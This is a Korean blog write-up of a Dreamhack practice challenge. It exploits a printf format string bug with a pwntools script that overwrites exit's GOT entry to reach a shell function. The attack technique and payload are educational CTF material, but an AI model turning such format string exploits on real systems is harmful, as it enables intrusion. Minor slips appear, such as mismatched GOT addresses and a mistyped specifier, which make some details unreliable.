워게임

[시스템 해킹] basic_exploitation_002 write up

sewoo-jjang 2026. 2. 7. 15:57

https://dreamhack.io/wargame/challenges/4

 

로그인 | Dreamhack

페르소나 굿즈 이벤트 기간 한정 구독 혜택 지금 가입하면 연간 플랜을 최대 75% 할인 된 가격으로!

dreamhack.io

0. 보안 기법 확인

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

1. 소스코드 확인

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    read(0, buf, 0x80);
    printf(buf);

    exit(0);
}
  • printf()함수에서 취약점을 발견할 수 있음
  • printf()함수는 pintf('%s", buf) 형식으로 사용 해야하지만 다음과 같이 사용된다면 buf에 %x 와 같은 문자가 있을때 스택의 문자가 출력됨.

2. payload 추측

  • main함수는 return 으로 끝나는 것이 아닌 exit()함수를 이용하여 끝나기에 exit 함수의 got 테이블을 의 주소를 get_shell()함수의 주소로 조작한다면 exploit 할 수 있지 않을까 생각해봄
  • 고로 현재 필요한 주소는
    • exit@GOT 주소
    • get_shell() 주소

3. 주소 구하기

  • gdb를 이용하여 get_shell() 함수의 주소를 얻어냄

  • readelf명령어를 이용하여 exit 함수의 GOT 주소가 0x084a028임을 확인

4. payload 작성

  • payload작성 전 printf() 함수의 offset을 확인해보자

  • 주소 값을 출력시킨 결과 AAAA값인 41414141이 출력됨을 확인할 수 있다.
  • 그렇다면 AAAA 대신 원하는 주소값을 넣고 %[number]c로 문자열 길이를 채워주면서 %$1n으로 AAAA자리 대신에 들어가는 주소에 값을 쓸 수 있다.
  • %$1n에 대해 설명을 조금 하자면 지금까지 printf에 출력된 문자의 숫자를 1번 위치의 주소에 넣겠다 라는 의미를 가지고 있다.
from pwn import *

p = remote('host8.dreamhack.games',9739)

hi_shell_addr = 0x0804
lo_shell_addr = 0x8609
exit_got = 0x0804a024

pay = p32(exit_got+2)
pay += p32(exit_got)
pay += b'%2044c%1$hn'
pay += b'%32261c%2$hn'

p.sendline(pay)
p.interactive()
  • 추가적인 설명을 하자면 shell_addr은 0x08048609로 10진수로 변환 시 134514185라서 너무 큰 숫자라 반으로 나누어 각각 exit_got, exit_got+2번 주소에 저장하는 방식을 채택하였다.
  • payload에서 0x0804(= 2052)가 아닌 2044c를 넣은 이유는 앞에 got 주소를 두번 넣었기에 총 8 byte가 이미 출력되어 해당 8byte를 합쳐 총 2052가 들어가도록 2044를 작성한 것이다.
  • 32261도 같은 논리로 앞에 나왔던 2052 byte와 합쳐서 32261(=0x8609)가 되도록 작성한 것
  • 기존에 말했던 %1$n 이 아닌 %1$hn인 이유는 다음과 같음
%n 4byte (int)
%hn 2byte (short)
%hhn 1byte (char)

5. 결과